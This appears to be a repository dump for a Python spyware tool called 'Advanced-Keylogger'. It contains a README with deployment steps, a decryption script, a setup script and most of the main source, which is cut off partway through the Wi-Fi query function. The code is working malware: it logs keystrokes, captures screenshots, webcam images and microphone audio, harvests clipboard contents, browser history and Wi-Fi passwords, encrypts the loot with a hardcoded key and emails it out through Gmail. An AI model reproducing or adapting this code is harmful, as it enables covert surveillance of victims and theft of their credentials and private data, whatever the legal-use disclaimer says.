.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
Advanced-Keylogger
3 | ☑️ Bandit verified | ☑️ Synk verified | ☑️ Pylint verified 9.89/10
4 |
5 |
6 | 
7 | 
8 |
9 |
10 | ## Notice
11 | > This tool may be used for legal purposes only.
12 | > Users take full responsibility for any actions performed using this tool.
13 | > The author accepts no liability for damage caused by this tool.
14 | > If these terms are not acceptable to you, then do not use this tool.
15 |
16 | ## Purpose
17 | As a network and info-sec enthusiast the purpose of this project was originally to make a keylogger.
18 | I decided to see what else can be incorporated and the project evolved into more of the functionality of spyware.
19 | Despite such functionality, the program does not attempt persistence or modify the registry, so it can be run outside of sandboxes.
20 | Tutorial can be found at https://cybr.com/ethical-hacking-archives/how-i-made-a-python-keylogger-that-sends-emails/
21 |
22 | ## How it works
23 | - Creates a directory to temporarily store information to exfiltrate
24 | - Gets all the essential network information -> stores to log file (takes about a minute in a half)
25 | - Gets the wireless network ssid's and passwords in XML data file
26 | - Retrieves system hardware and running process/service info
27 | - If on Windows and the clipboard is activated and contains anything -> stores to log file
28 | - Browsing history is retrieved as a JSON data file then dumped into a log file
29 | - Then using multiprocessing 4 features work together simultaneously for default 5 minute interval:
30 |
31 | 1. Log pressed keys
32 | 2. Take screenshots every 5 seconds
33 | 3. Record microphone in one minute segments
34 | 4. Take webcam picture every 5 seconds
35 |
36 | - After all the .txt and .xml files are grouped together and encrypted to protect sensitive data
37 | - Then by individual directory, the files are grouped and sent through email by file type with regex magic
38 | - Finally, the Log directory is deleted and the program loops back to the beginning to repeat the same process
39 |
40 | ### License
41 | The program is licensed under [GNU Public License v3.0](LICENSE.md)
42 |
43 | ### Contributions or Issues
44 | [CONTRIBUTING](CONTRIBUTING.md)
45 |
46 | ## Prereqs
47 | This program runs on Windows 10 and Debian-based Linux, written in Python 3.8 and updated to version 3.10.6
48 |
49 | ## Installation
50 | - Run the setup.py script to build a virtual environment and install all external packages in the created venv.
51 |
52 | > Examples:
53 | > - Windows: `python setup.py venv`
54 | > - Linux: `python3 setup.py venv`
55 |
56 | - Once virtual env is built traverse to the (Scripts-Windows or bin-Linux) directory in the environment folder just created.
57 | - For Windows, in the venv\Scripts directory, execute `activate` or `activate.bat` script to activate the virtual environment.
58 | - For Linux, in the venv/bin directory, execute `source activate` to activate the virtual environment.
59 | - If for some reason issues are experienced with the setup script, the alternative is to manually create an environment, activate it, then run pip install -r packages.txt in project root.
60 | - To exit from the virtual environment when finished, execute `deactivate`.
61 |
62 | ## How to use
63 | - In google account, set up multi-factor authentication and generate application password for Gmail to allow API usage
64 | - At the beginning of send_mail() function enter your full email( username@gmail.com ) and generated app password
65 | - Open up a command prompt and run the program
66 | - Change to the directory the program is placed and execute it
67 | - Open the graphical file manager and go to the directory set at the beginning of main() function to watch the program in action
68 | - After files are encrypted and sent to email, download them place them in the directory specified in
69 | decryptFile.py and run the program in command prompt.
70 |
71 | ## Function Layout
72 | -- the_advanced_keylogger.py --
73 | > smtp_handler - Facilitates sending the emails with the encrypted data to be exfiltrated.
74 |
75 | > email_attach - Creates email attach object and returns it.
76 |
77 | > email_header - Format email header and body.
78 |
79 | > send_mail - Facilitates sending emails in a segmented fashion based on regex matches.
80 |
81 | > encrypt_data - Encrypts all the file data in the parameter list of files to be
82 | > exfiltrated.
83 |
84 | > RegObject - Regex object that contains numerous compiled expressions grouped together.
85 |
86 | > webcam - Captures webcam pictures every five seconds.
87 |
88 | > microphone - Actively records microphone in 60 second intervals.
89 |
90 | > screenshot - Captured screenshots every five seconds.
91 |
92 | > log_keys - Detect and log keys pressed by the user.
93 |
94 | > get_browser_history - Get the browser username, path to browser databases, and the
95 | > entire browser history.
96 |
97 | > get_clipboard - Gathers the clipboard contents and writes the output to the clipboard
98 | > output file.
99 |
100 | > get_system_info - Runs an array of commands to gather system and hardware information.
101 | > All the output is redirected to the system info output file.
102 |
103 | > linux_wifi_query - Runs nmcli commands to query a list of Wi-Fi SSID's that the system
104 | > has encountered. The SSID list is then iterated over line by line to query for each profile include
105 | > passwords. All the output is redirected to the Wi-Fi info output file.
106 |
107 | > get_network_info - Runs an array of commands to query network information, such as
108 | > network profiles, passwords, ip configuration, arp table, routing table, tcp/udp ports, and
109 | > attempt to query the ipify.org API for public IP address. All the output is redirected to the
110 | > network info output file.
111 |
112 | > main - Gathers network information, clipboard contents, browser history, initiates
113 | > multiprocessing, sends encrypted results, cleans up exfiltrated data, and loops back to the beginning.
114 |
115 | > print_err - Displays the passed in error message via stderr.
116 |
117 | -- decrypt_file.py --
118 | > print_err - Displays the passed in error message via stderr.
119 |
120 | > main - Decrypts the encrypted contents in the DecryptDock Folder.
121 |
122 | ## Exit Codes
123 | -- the_advanced_keylogger.y & decrypt_file.py --
124 | > 0 - Successful operations
125 | > 1 - Unexpected error occurred
--------------------------------------------------------------------------------
/decrypt_file.py:
--------------------------------------------------------------------------------
1 | # pylint: disable=W0106
2 | """ Built-in modules """
3 | import os
4 | import re
5 | import sys
6 | from pathlib import Path
7 | # External modules #
8 | from cryptography.fernet import Fernet
9 |
10 |
11 | def print_err(msg: str):
12 | """
13 | Displays the passed in error message through stderr.
14 |
15 | :param msg: The error message to be displayed.
16 | :return: Nothing
17 | """
18 | print(f'\n* [ERROR] {msg} *\n', file=sys.stderr)
19 |
20 |
21 | def main():
22 | """
23 | Decrypts the encrypted contents in the DecryptDock Folder.
24 |
25 | :return: Nothing
26 | """
27 | encrypted_files = ['e_network_info.txt', 'e_system_info.txt',
28 | 'e_browser_info.txt', 'e_key_logs.txt']
29 |
30 | # If the OS is Windows #
31 | if os.name == 'nt':
32 | re_xml = re.compile(r'.{1,255}\.xml$')
33 |
34 | # Add any of the xml files in the dir to the encrypted files list #
35 | [encrypted_files.append(file.name) for file in os.scandir(decrypt_path)
36 | if re_xml.match(file.name)]
37 |
38 | encrypted_files.append('e_clipboard_info.txt')
39 | else:
40 | encrypted_files.append('e_wifi_info.txt')
41 |
42 | key = b'T2UnFbwxfVlnJ1PWbixcDSxJtpGToMKotsjR4wsSJpM='
43 |
44 | # Iterate through the files to be decrypted #
45 | for file_decrypt in encrypted_files:
46 | # Set the encrypted and decrypted file paths #
47 | crypt_path = decrypt_path / file_decrypt
48 | plain_path = decrypt_path / file_decrypt[2:]
49 | try:
50 | # Read the encrypted file data #
51 | with crypt_path.open('rb') as in_file:
52 | data = in_file.read()
53 |
54 | # Decrypt the encrypted file data #
55 | decrypted = Fernet(key).decrypt(data)
56 |
57 | # Write the decrypted data to fresh file #
58 | with plain_path.open('wb') as loot:
59 | loot.write(decrypted)
60 |
61 | # Remove original encrypted files #
62 | crypt_path.unlink()
63 |
64 | # If file IO error occurs #
65 | except OSError as io_err:
66 | print_err(f'Error occurred during {file_decrypt} decryption: {io_err}')
67 | sys.exit(1)
68 |
69 |
70 | if __name__ == '__main__':
71 | # Get the current working dir #
72 | decrypt_path = Path.cwd() / 'DecryptDock'
73 |
74 | # If the decryption file dock does not exist #
75 | if not decrypt_path.exists():
76 | # Create missing DecryptDock #
77 | decrypt_path.mkdir()
78 | # Print error message and exit #
79 | print_err('DecryptDock created due to not existing .. place encrypted components in it '
80 | 'and restart the program')
81 | sys.exit(1)
82 |
83 | try:
84 | main()
85 |
86 | except KeyboardInterrupt:
87 | print('* Ctrl + C detected...program exiting *')
88 |
89 | sys.exit(0)
90 |
--------------------------------------------------------------------------------
/linux_packages.txt:
--------------------------------------------------------------------------------
1 | browserhistory
2 | cryptography
3 | opencv-python
4 | Pillow
5 | pynput
6 | requests
7 | scipy
8 | sounddevice
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | # pylint: disable=W0106
2 | """ Built-in modules """
3 | import argparse
4 | import os
5 | import sys
6 | import venv
7 | from pathlib import Path
8 | from subprocess import Popen, PIPE, TimeoutExpired
9 | from threading import Thread
10 | from urllib.parse import urlparse
11 | from urllib.request import urlretrieve
12 |
13 |
14 | # Global variables #
15 | PACKAGE_FILENAME = 'packages.txt'
16 |
17 |
18 | def system_cmd(cmd: list, exec_time):
19 | """
20 | Executes system shell command and returns the output. If improper data type is in command syntax
21 | list or error occurs during command execution, the error is displayed via stderr and logged,
22 | and False is returned to indicated failed operation.
23 |
24 | :param cmd: The command to be executed.
25 | :param exec_time: The execution timeout to prevent process hangs.
26 | :return: Nothing
27 | """
28 | try:
29 | # Set up child process in context manager, piping output & errors to return variables #
30 | with Popen(cmd, stdout=sys.stdout, stderr=sys.stderr) as command:
31 | # Execute process for passed in timeout (None=blocking) #
32 | command.communicate(timeout=exec_time)
33 |
34 | # If the process times out #
35 | except TimeoutExpired:
36 | # Print error and log #
37 | print_err(f'Process for {cmd} timed out before finishing execution')
38 |
39 | # If the input command has data other than string #
40 | except TypeError:
41 | # Print error and log #
42 | print_err(f'Input in {cmd} contains data type other than string')
43 |
44 |
45 | class ExtendedEnvBuilder(venv.EnvBuilder):
46 | """
47 | This builder installs setuptools and pip so that you can pip or easy_install other packages
48 | into the created virtual environment.
49 |
50 | :param nodist: If true, setuptools and pip are not installed into the created virtual
51 | environment.
52 | :param nopip: If true, pip is not installed into the created virtual environment.
53 | :param progress: If setuptools or pip are installed, the progress of the installation can be
54 | monitored by passing a progress callable. If specified, it is called with
55 | two arguments: a string indicating some progress, and a context indicating
56 | where the string is coming from. The context argument can have one of three
57 | values: 'main', indicating that it is called from virtualize() itself, and
58 | 'stdout' and 'stderr', which are obtained by reading lines from the output
59 | streams of a subprocess which is used to install the app. If a callable is
60 | not specified, default progress information is output to sys.stderr.
61 | """
62 | def __init__(self, *args, **kwargs):
63 | self.nodist = kwargs.pop('nodist', False)
64 | self.nopip = kwargs.pop('nopip', False)
65 | self.progress = kwargs.pop('progress', None)
66 | self.verbose = kwargs.pop('verbose', False)
67 | super().__init__(*args, **kwargs)
68 |
69 | def install_setuptools(self, context):
70 | """
71 | Install setuptools in the virtual environment.
72 |
73 | :param context: The information for the virtual environment creation request.
74 | """
75 | url = 'https://github.com/abadger/setuptools/blob/master/ez_setup.py'
76 | self.install_script(context, 'setuptools', url)
77 |
78 | # Clear up the setuptools archive which gets downloaded #
79 | pred = lambda o: o.startswith('setuptools-') and o.endswith('.tar.gz')
80 | files = filter(pred, os.listdir(context.bin_path))
81 |
82 | # Iterate through files in bin path and delete #
83 | for file in files:
84 | file = os.path.join(context.bin_path, file)
85 | os.unlink(file)
86 |
87 | def install_pip(self, context):
88 | """
89 | Install pip in the virtual environment.
90 |
91 | :param context: The information for the virtual environment creation request.
92 | """
93 | url = 'https://bootstrap.pypa.io/get-pip.py'
94 | self.install_script(context, 'pip', url)
95 |
96 | def post_setup(self, context):
97 | """
98 | Set up any packages which need to be pre-installed into the virtual environment being
99 | created.
100 |
101 | :param context: The information for the virtual environment creation request.
102 | :return: Nothing
103 | """
104 | os.environ['VIRTUAL_ENV'] = context.env_dir
105 |
106 | # If no setup tools #
107 | if not self.nodist:
108 | # Install setup tools #
109 | self.install_setuptools(context)
110 |
111 | # If no pip and setuptools #
112 | if not self.nopip and not self.nodist:
113 | # Install them #
114 | self.install_pip(context)
115 |
116 | # Get the current working dir #
117 | path = Path.cwd()
118 | venv_path = Path(context.env_dir)
119 | # Format the package path #
120 | package_path = path / PACKAGE_FILENAME
121 |
122 | # If the OS is Windows #
123 | if os.name == 'nt':
124 | # Format path for pip installation in venv #
125 | pip_path = venv_path / 'Scripts' / 'pip.exe'
126 | # If the OS is Linux #
127 | else:
128 | # Format path for pip installation in venv #
129 | pip_path = venv_path / 'bin' / 'pip'
130 |
131 | # Execute the pip upgrade command as child process #
132 | command = [str(pip_path), 'install', '--upgrade', 'pip']
133 | system_cmd(command, 60)
134 |
135 | # If the package list file exists #
136 | if package_path.exists():
137 | # Execute pip -r into venv based on package list #
138 | command = [str(pip_path), 'install', '-r', str(package_path)]
139 | system_cmd(command, 300)
140 |
141 | def reader(self, stream, context):
142 | """
143 | Read lines from a subprocess' output stream and either pass to a progress callable
144 | (if specified) or write progress information to sys.stderr.
145 |
146 | :param stream: Subprocess output stream.
147 | :param context: The information for the virtual environment creation request.
148 | :return: Nothing
149 | """
150 | progress = self.progress
151 |
152 | while True:
153 | # Read line from subprocess stream #
154 | proc_stream = stream.readline()
155 |
156 | # If there is no more data to read #
157 | if not proc_stream:
158 | break
159 |
160 | # If progress has no data #
161 | if progress is not None:
162 | progress(proc_stream, context)
163 | # If progress is present #
164 | else:
165 | # If not set to verbose #
166 | if not self.verbose:
167 | sys.stderr.write('.')
168 | # If verbosity set #
169 | else:
170 | sys.stderr.write(proc_stream.decode('utf-8'))
171 |
172 | sys.stderr.flush()
173 |
174 | stream.close()
175 |
176 | def install_script(self, context, name, url):
177 | """
178 | Retrieve content from passed in url and install into the virtual env.
179 |
180 | :param context: The information for the virtual environment creation request.
181 | :param name: Utility name to be installed into environment.
182 | :param url: The url where the utility can be retrieved from the internet.
183 | :return: Nothing
184 | """
185 | _, _, path, _, _, _ = urlparse(url)
186 | file_name = os.path.split(path)[-1]
187 | binpath = context.bin_path
188 | distpath = os.path.join(binpath, file_name)
189 |
190 | # If the URL starts with http #
191 | if url.lower().startswith('http'):
192 | # Download script into the virtual environment's binaries folder #
193 | urlretrieve(url, distpath)
194 | # Unusual URL detected #
195 | else:
196 | print_err('Improper URL format attempted to be passed into urlretrieve')
197 | sys.exit(2)
198 |
199 | progress = self.progress
200 |
201 | if self.verbose:
202 | term = '\n'
203 | else:
204 | term = ''
205 |
206 | # If progress is set #
207 | if progress is not None:
208 | progress(f'Installing {name} .. {term}', 'main')
209 | # If progress is not set #
210 | else:
211 | sys.stderr.write(f'Installing {name} .. {term}')
212 | sys.stderr.flush()
213 |
214 | args = [context.env_exe, file_name]
215 |
216 | # Install in the virtual environment #
217 | with Popen(args, stdout=PIPE, stderr=PIPE, cwd=binpath) as proc:
218 | thread_1 = Thread(target=self.reader, args=(proc.stdout, 'stdout'))
219 | thread_1.start()
220 | thread_2 = Thread(target=self.reader, args=(proc.stderr, 'stderr'))
221 | thread_2.start()
222 |
223 | proc.wait()
224 | thread_1.join()
225 | thread_2.join()
226 |
227 | if progress is not None:
228 | progress('done.', 'main')
229 | else:
230 | sys.stderr.write('done.\n')
231 |
232 | # Clean up - no longer needed
233 | os.unlink(distpath)
234 |
235 |
236 | def print_err(msg: str):
237 | """
238 | Prints error message via stderr.
239 |
240 | :param msg: The error message to be displayed via stderr.
241 | :return: Nothing
242 | """
243 | print(f'\n* [ERROR] {msg} *\n', file=sys.stderr)
244 |
245 |
246 | def main(args=None):
247 | """
248 | Runs through various arg checks and sets up program.
249 |
250 | :param args: None by default, but numerous options available.
251 | :return: Nothing
252 | """
253 | if sys.version_info < (3, 3) or not hasattr(sys, 'base_prefix'):
254 | raise ValueError('This script is only for use with Python 3.3 or later')
255 |
256 | parser = argparse.ArgumentParser(prog=__name__,
257 | description='Creates virtual Python environments in one'
258 | ' or more target directories.')
259 | parser.add_argument('dirs', metavar='ENV_DIR', nargs='+',
260 | help='A directory in which to create the virtual environment.')
261 | parser.add_argument('--no-setuptools', default=False, action='store_true', dest='nodist',
262 | help='Don\'t install setuptools or pip in the virtual environment.')
263 | parser.add_argument('--no-pip', default=False, action='store_true', dest='nopip',
264 | help='Don\'t install pip in the virtual environment.')
265 | parser.add_argument('--system-site-packages', default=False, action='store_true',
266 | dest='system_site', help='Give the virtual environment access to the '
267 | 'system site-packages dir.')
268 |
269 | if os.name == 'nt':
270 | use_symlinks = False
271 | else:
272 | use_symlinks = True
273 |
274 | parser.add_argument('--symlinks', default=use_symlinks, action='store_true',
275 | dest='symlinks', help='Try to use symlinks rather than copies, when '
276 | 'symlinks are not the default for the platform.')
277 | parser.add_argument('--clear', default=False, action='store_true', dest='clear',
278 | help='Delete the contents of the virtual environment directory if it '
279 | 'already exists, before virtual environment creation.')
280 | parser.add_argument('--upgrade', default=False, action='store_true', dest='upgrade',
281 | help='Upgrade the virtual environment directory to use this version of '
282 | 'Python, assuming Python has been upgraded in-place.')
283 | parser.add_argument('--verbose', default=False, action='store_true', dest='verbose',
284 | help='Display the output from the scripts which install setuptools and '
285 | 'pip.')
286 | options = parser.parse_args(args)
287 |
288 | if options.upgrade and options.clear:
289 | raise ValueError('you cannot supply --upgrade and --clear together.')
290 |
291 | builder = ExtendedEnvBuilder(system_site_packages=options.system_site, clear=options.clear,
292 | symlinks=options.symlinks, upgrade=options.upgrade,
293 | nodist=options.nodist, nopip=options.nopip,
294 | verbose=options.verbose)
295 |
296 | [builder.create(d) for d in options.dirs]
297 |
298 |
299 | if __name__ == '__main__':
300 | RET = 0
301 | try:
302 | main()
303 |
304 | except Exception as err:
305 | print_err(f'Unexpected error occurred: {err}')
306 | RET = 1
307 |
308 | sys.exit(RET)
309 |
--------------------------------------------------------------------------------
/the_advanced_keylogger.py:
--------------------------------------------------------------------------------
1 | # pylint: disable=E1101,I1101,W0106
2 | """
3 | This tool may be used for legal purposes only.
4 | Users take full responsibility for any actions performed using this tool.
5 | The author accepts no liability for damage caused by this tool.
6 | If these terms are not acceptable to you, then do not use this tool.
7 |
8 | Built-in Modules """
9 | import json
10 | import logging
11 | import os
12 | import re
13 | import shutil
14 | import smtplib
15 | import socket
16 | import sys
17 | import time
18 | from email import encoders
19 | from email.mime.base import MIMEBase
20 | from email.mime.multipart import MIMEMultipart
21 | from email.mime.text import MIMEText
22 | from multiprocessing import Process
23 | from pathlib import Path
24 | from subprocess import CalledProcessError, check_output, Popen, TimeoutExpired
25 | from threading import Thread
26 | # External Modules #
27 | import browserhistory as bh
28 | import cv2
29 | import requests
30 | import sounddevice
31 | from cryptography.fernet import Fernet
32 | from PIL import ImageGrab
33 | from pynput.keyboard import Listener
34 | # If the OS is Windows #
35 | if os.name == 'nt':
36 | import win32clipboard
37 |
38 |
39 | def smtp_handler(email_address: str, password: str, email: MIMEMultipart):
40 | """
41 | Facilitates sending the emails with the encrypted data to be exfiltrated.
42 |
43 | :param email_address: The Gmail account associated where the encrypted data will be sent.
44 | :param password: The application password generated in Gmail users Google account
45 | :param email: The email message instance to be sent.
46 | :return: Nothing
47 | """
48 | try:
49 | # Initiate Gmail SMTP session #
50 | with smtplib.SMTP('smtp.gmail.com', 587) as session:
51 | # Upgrade the session to TLS encryption #
52 | session.starttls()
53 | # Login to Gmail account #
54 | session.login(email_address, password)
55 | # Send the email and exit session #
56 | session.sendmail(email_address, email_address, email.as_string())
57 |
58 | # If SMTP or socket related error occurs #
59 | except smtplib.SMTPException as mail_err:
60 | print_err(f'Error occurred during email session: {mail_err}')
61 | logging.exception('Error occurred during email session: %s\n', mail_err)
62 |
63 |
64 | def email_attach(path: Path, attach_file: str) -> MIMEBase:
65 | """
66 | Creates email attach object and returns it.
67 |
68 | :param path: The file path containing files to be attached.
69 | :param attach_file: The name of the file to be attached.
70 | :return: The populated email attachment instance.
71 | """
72 | # Create the email attachment object #
73 | attach = MIMEBase('application', "octet-stream")
74 | attach_path = path / attach_file
75 |
76 | # Set file content as attachment payload #
77 | with attach_path.open('rb') as attachment:
78 | attach.set_payload(attachment.read())
79 |
80 | # Encode attachment file in base64 #
81 | encoders.encode_base64(attach)
82 | # Add header to attachment object #
83 | attach.add_header('Content-Disposition', f'attachment;filename = {attach_file}')
84 | return attach
85 |
86 |
87 | def email_header(message: MIMEMultipart, email_address: str) -> MIMEMultipart:
88 | """
89 | Format email header and add message in body.
90 |
91 | :param message: The email message instance.
92 | :param email_address: The Gmail account associated where the encrypted data will be sent.
93 | :return:
94 | """
95 | message['From'] = email_address
96 | message['To'] = email_address
97 | message['Subject'] = 'Success!!!'
98 | body = 'Mission is completed'
99 | message.attach(MIMEText(body, 'plain'))
100 | return message
101 |
102 |
103 | def send_mail(path: Path, re_obj: object):
104 | """
105 | Facilitates sending emails in a segmented fashion based on regex matches.
106 |
107 | :param path: The file path containing the files to be attached to the email.
108 | :param re_obj: Compiled regex instance containing precompiled patterns for file extensions.
109 | :return: Nothing
110 | """
111 | # User loging information #
112 | email_address = '' # <--- Enter your email address
113 | password = '' # <--- Enter email password
114 |
115 | # Create message object with text and attachments #
116 | msg = MIMEMultipart()
117 | # Format email header #
118 | email_header(msg, email_address)
119 |
120 | # Iterate through files of passed in directory #
121 | for file in os.scandir(path):
122 | # If current item is dir #
123 | if file.is_dir():
124 | continue
125 |
126 | # If the file matches file extension regex's #
127 | if re_obj.re_xml.match(file.name) or re_obj.re_txt.match(file.name) \
128 | or re_obj.re_png.match(file.name) or re_obj.re_jpg.match(file.name):
129 | # Turn file into email attachment #
130 | attachment = email_attach(path, file.name)
131 | # Attach file to email message #
132 | msg.attach(attachment)
133 |
134 | elif re_obj.re_audio.match(file.name):
135 | # Create alternate message object for wav files #
136 | msg_alt = MIMEMultipart()
137 | # Format message header #
138 | email_header(msg_alt, email_address)
139 | # Turn file into email attachment #
140 | attachment = email_attach(path, file.name)
141 | # Attach file to alternate email message #
142 | msg_alt.attach(attachment)
143 | # Send alternate email message #
144 | smtp_handler(email_address, password, msg_alt)
145 |
146 | smtp_handler(email_address, password, msg)
147 |
148 |
149 | def encrypt_data(files: list, export_path: Path):
150 | """
151 | Encrypts all the file data in the parameter list of files to be exfiltrated.
152 |
153 | :param files: List of files to be encrypted.
154 | :param export_path: The file path where the files to be encrypted reside.
155 | :return: Nothing
156 | """
157 | # In the python console type: from cryptography.fernet import Fernet ; then run the command
158 | # below to generate a key. This key needs to be added to the key variable below as
159 | # well as in the DecryptFile.py that should be kept on the exploiter's system. If either
160 | # is forgotten either encrypting or decrypting process will fail. #
161 | # Command -> Fernet.generate_key()
162 | key = b'T2UnFbwxfVlnJ1PWbixcDSxJtpGToMKotsjR4wsSJpM='
163 |
164 | # Iterate through files to be encrypted #
165 | for file in files:
166 | # Format plain and crypt file paths #
167 | file_path = export_path / file
168 | crypt_path = export_path / f'e_{file}'
169 | try:
170 | # Read the file plain text data #
171 | with file_path.open('rb') as plain_text:
172 | data = plain_text.read()
173 |
174 | # Encrypt the file data #
175 | encrypted = Fernet(key).encrypt(data)
176 |
177 | # Write the encrypted data to fresh file #
178 | with crypt_path.open('wb') as hidden_data:
179 | hidden_data.write(encrypted)
180 |
181 | # Delete the plain text data #
182 | file_path.unlink()
183 |
184 | # If error occurs during file operation #
185 | except OSError as file_err:
186 | print_err(f'Error occurred during file operation: {file_err}')
187 | logging.exception('Error occurred during file operation: %s\n', file_err)
188 |
189 |
190 | class RegObject:
191 | """
192 | Regex object that contains numerous compiled expressions grouped together.
193 | """
194 | def __init__(self):
195 | # Compile regex's for attaching files #
196 | self.re_xml = re.compile(r'.{1,255}\.xml$')
197 | self.re_txt = re.compile(r'.{1,255}\.txt$')
198 | self.re_png = re.compile(r'.{1,255}\.png$')
199 | self.re_jpg = re.compile(r'.{1,255}\.jpg$')
200 | # If the OS is Windows #
201 | if os.name == 'nt':
202 | self.re_audio = re.compile(r'.{1,255}\.wav$')
203 | # If the OS is Linux #
204 | else:
205 | self.re_audio = re.compile(r'.{1,255}\.mp4')
206 |
207 |
208 | def webcam(webcam_path: Path):
209 | """
210 | Captures webcam pictures every five seconds.
211 |
212 | :param webcam_path: The file path where the webcam pictures will be stored.
213 | :return: Nothing
214 | """
215 | # Create directory for webcam picture storage #
216 | webcam_path.mkdir(parents=True, exist_ok=True)
217 | # Initialize video capture instance #
218 | cam = cv2.VideoCapture(0)
219 |
220 | for current in range(1, 61):
221 | # Take picture of current webcam view #
222 | ret, img = cam.read()
223 | # If image was captured #
224 | if ret:
225 | # Format output webcam path #
226 | file_path = webcam_path / f'{current}_webcam.jpg'
227 | # Save the image to as file #
228 | cv2.imwrite(str(file_path), img)
229 |
230 | # Sleep process 5 seconds #
231 | time.sleep(5)
232 |
233 | # Release camera control #
234 | cam.release()
235 |
236 |
237 | def microphone(mic_path: Path):
238 | """
239 | Actively records microphone in 60 second intervals.
240 |
241 | :param mic_path: The file path where the microphone recordings will be stored.
242 | :return: Nothing
243 | """
244 | # Import sound recording module in private thread #
245 | from scipy.io.wavfile import write as write_rec
246 | # Set recording frames-per-second and duration #
247 | frames_per_second = 44100
248 | seconds = 60
249 |
250 | for current in range(1, 6):
251 | # If the OS is Windows #
252 | if os.name == 'nt':
253 | channel = 2
254 | rec_name = mic_path / f'{current}mic_recording.wav'
255 | # If the OS is Linux #
256 | else:
257 | channel = 1
258 | rec_name = mic_path / f'{current}mic_recording.mp4'
259 |
260 | # Initialize instance for microphone recording #
261 | my_recording = sounddevice.rec(int(seconds * frames_per_second),
262 | samplerate=frames_per_second, channels=channel)
263 | # Wait time interval for the mic to record #
264 | sounddevice.wait()
265 |
266 | # Save the recording as proper format based on OS #
267 | write_rec(str(rec_name), frames_per_second, my_recording)
268 |
269 |
270 | def screenshot(screenshot_path: Path):
271 | """
272 | Captured screenshots every five seconds.
273 |
274 | :param screenshot_path: The file path where the screenshots will be stored.
275 | :return: Nothing
276 | """
277 | # Create directory for screenshot storage #
278 | screenshot_path.mkdir(parents=True, exist_ok=True)
279 |
280 | for current in range(1, 61):
281 | # Capture screenshot #
282 | pic = ImageGrab.grab()
283 | # Format screenshot output path #
284 | capture_path = screenshot_path / f'{current}_screenshot.png'
285 | # Save screenshot to file #
286 | pic.save(capture_path)
287 | # Sleep 5 seconds per iteration #
288 | time.sleep(5)
289 |
290 |
291 | def log_keys(key_path: Path):
292 | """
293 | Detect and log keys pressed by the user.
294 |
295 | :param key_path: The file path where the pressed key logs will be stored.
296 | :return: Nothing
297 | """
298 | # Set the log file and format #
299 | logging.basicConfig(filename=key_path, level=logging.DEBUG,
300 | format='%(asctime)s: %(message)s')
301 | # Join the keystroke listener thread #
302 | with Listener(on_press=lambda key: logging.info(str(key))) as listener:
303 | listener.join()
304 |
305 |
306 | def get_browser_history(browser_file: Path):
307 | """
308 | Get the browser username, path to browser databases, and the entire browser history.
309 |
310 | :param browser_file: Path to the browser info output file.
311 | :return: Nothing
312 | """
313 | # Get the browser's username #
314 | bh_user = bh.get_username()
315 | # Gets path to database of browser #
316 | db_path = bh.get_database_paths()
317 | # Retrieves the user history #
318 | hist = bh.get_browserhistory()
319 | # Append the results into one list #
320 | browser_history = []
321 | browser_history.extend((bh_user, db_path, hist))
322 |
323 | try:
324 | # Write the results to output file in json format #
325 | with browser_file.open('w', encoding='utf-8') as browser_txt:
326 | browser_txt.write(json.dumps(browser_history))
327 |
328 | # If error occurs during file operation #
329 | except OSError as file_err:
330 | print_err(f'Error occurred during file operation: {file_err}')
331 | logging.exception('Error occurred during browser history file operation: %s\n', file_err)
332 |
333 |
334 | def get_clipboard(export_path: Path):
335 | """
336 | Gathers the clipboard contents and writes the output to the clipboard output file.
337 |
338 | :param export_path: The file path where the data to be exported resides.
339 | :return: Nothing
340 | """
341 | try:
342 | # Access the clipboard #
343 | win32clipboard.OpenClipboard()
344 | # Copy the clipboard data #
345 | pasted_data = win32clipboard.GetClipboardData()
346 |
347 | # If error occurs acquiring clipboard data #
348 | except (OSError, TypeError):
349 | pasted_data = ''
350 |
351 | finally:
352 | # Close the clipboard #
353 | win32clipboard.CloseClipboard()
354 |
355 | clip_path = export_path / 'clipboard_info.txt'
356 | try:
357 | # Write the clipboard contents to output file #
358 | with clip_path.open('w', encoding='utf-8') as clipboard_info:
359 | clipboard_info.write(f'Clipboard Data:\n{"*" * 16}\n{pasted_data}')
360 |
361 | # If error occurs during file operation #
362 | except OSError as file_err:
363 | print_err(f'Error occurred during file operation: {file_err}')
364 | logging.exception('Error occurred during file operation: %s\n', file_err)
365 |
366 |
367 | def get_system_info(sysinfo_file: Path):
368 | """
369 | Runs an array of commands to gather system and hardware information. All the output is \
370 | redirected to the system info output file.
371 |
372 | :param sysinfo_file: The path to the output file for the system information.
373 | :return: Nothing
374 | """
375 | # If the OS is Windows #
376 | if os.name == 'nt':
377 | syntax = ['systeminfo', '&', 'tasklist', '&', 'sc', 'query']
378 | # If the OS is Linux #
379 | else:
380 | cmd0 = 'hostnamectl'
381 | cmd1 = 'lscpu'
382 | cmd2 = 'lsmem'
383 | cmd3 = 'lsusb'
384 | cmd4 = 'lspci'
385 | cmd5 = 'lshw'
386 | cmd6 = 'lsblk'
387 | cmd7 = 'df -h'
388 |
389 | syntax = f'{cmd0}; {cmd1}; {cmd2}; {cmd3}; {cmd4}; {cmd5}; {cmd6}; {cmd7}'
390 |
391 | try:
392 | # Setup system info gathering commands child process #
393 | with sysinfo_file.open('a', encoding='utf-8') as system_info:
394 | # Setup system info gathering commands child process #
395 | with Popen(syntax, stdout=system_info, stderr=system_info, shell=True) as get_sysinfo:
396 | # Execute child process #
397 | get_sysinfo.communicate(timeout=30)
398 |
399 | # If error occurs during file operation #
400 | except OSError as file_err:
401 | print_err(f'Error occurred during file operation: {file_err}')
402 | logging.exception('Error occurred during file operation: %s\n', file_err)
403 |
404 | # If process error or timeout occurs #
405 | except TimeoutExpired:
406 | pass
407 |
408 |
409 | def linux_wifi_query(export_path: Path):
410 | """
411 | Runs nmcli commands to query a list of Wi-Fi SSID's that the system has encountered. The SSID \
412 | list is then iterated over line by line to query for each profile include passwords. All the \
413 | output is redirected to the Wi-Fi info output file.
414 |
415 | :param export_path: The file path where the data to be exported resides.
416 | :return: Nothing
417 | """
418 | get_wifis = None
419 | # Format wifi output file path #
420 | wifi_path = export_path / 'wifi_info.txt'
421 |
422 | try:
423 | # Get the available Wi-Fi networks with nmcli #
424 | get_wifis = check_output(['nmcli', '-g', 'NAME', 'connection', 'show'])
425 |
426 | # If error occurs during process #
427 | except CalledProcessError as proc_err:
428 | logging.exception('Error occurred during Wi-Fi SSID list retrieval: %s\n', proc_err)
429 |
430 | # If an SSID id list was successfully retrieved #
431 | if get_wifis:
432 | # Iterate through command result line by line #
